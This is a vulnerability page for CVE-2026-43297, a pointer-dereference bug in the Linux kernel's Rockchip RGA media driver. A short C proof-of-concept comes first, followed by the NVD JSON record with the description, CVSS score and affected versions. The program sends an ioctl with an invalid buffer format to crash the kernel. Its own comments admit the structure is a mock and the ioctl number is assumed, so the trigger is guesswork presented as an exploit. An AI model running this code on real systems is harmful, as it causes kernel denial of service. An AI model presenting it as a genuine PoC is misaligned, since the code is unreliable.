CVE-2026-43297

#include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Mock structure based on typical RGA driver interaction struct rga_buffer { unsigned long size; int format; // Setting an invalid format triggers the bug }; #define RGA_IOC_MAGIC 'R' // Assuming an IOCTL number that triggers rga_buf_init #define RGA_SET_BUFFER _IOW(RGA_IOC_MAGIC, 0x01, struct rga_buffer) int main() { int fd = open("/dev/rga", O_RDWR); if (fd < 0) { perror("Failed to open /dev/rga"); return 1; } struct rga_buffer buf; buf.format = 0xDEADBEEF; // Invalid buffer type to force ERR_PTR return buf.size = 0; // Trigger the vulnerability: rga_buf_init -> rga_get_frame -> ERR_PTR dereference printf("[+] Attempting to trigger CVE-2026-43297...\n"); if (ioctl(fd, RGA_SET_BUFFER, &buf) < 0) { perror("IOCTL failed (Kernel might have crashed)"); } close(fd); return 0; }

{"cve": {"id": "CVE-2026-43297", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T14:16:36.863", "lastModified": "2026-05-15T14:59:43.053", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: rockchip: rga: Fix possible ERR_PTR dereference in rga_buf_init()\n\nrga_get_frame() can return ERR_PTR(-EINVAL) when buffer type is\nunsupported or invalid. rga_buf_init() does not check the return value\nand unconditionally dereferences the pointer when accessing f->size.\n\nAdd proper ERR_PTR checking and return the error to prevent\ndereferencing an invalid pointer."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.8", "versionEndExcluding": "6.12.75", "matchCriteriaId": "4A94C3E7-EF78-4AF2-8160-DDF77E97D5EE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/1af2853b4e97fd95262fdef311b2334337069bc9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5da29ade540b51763b950987bd410add7edaf3d1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/81f8e0e6a2e115df9274d0289779f8fca694479c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/aa22221c5dc695a3d479e1e1b63f0c0e9eb29dbf", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}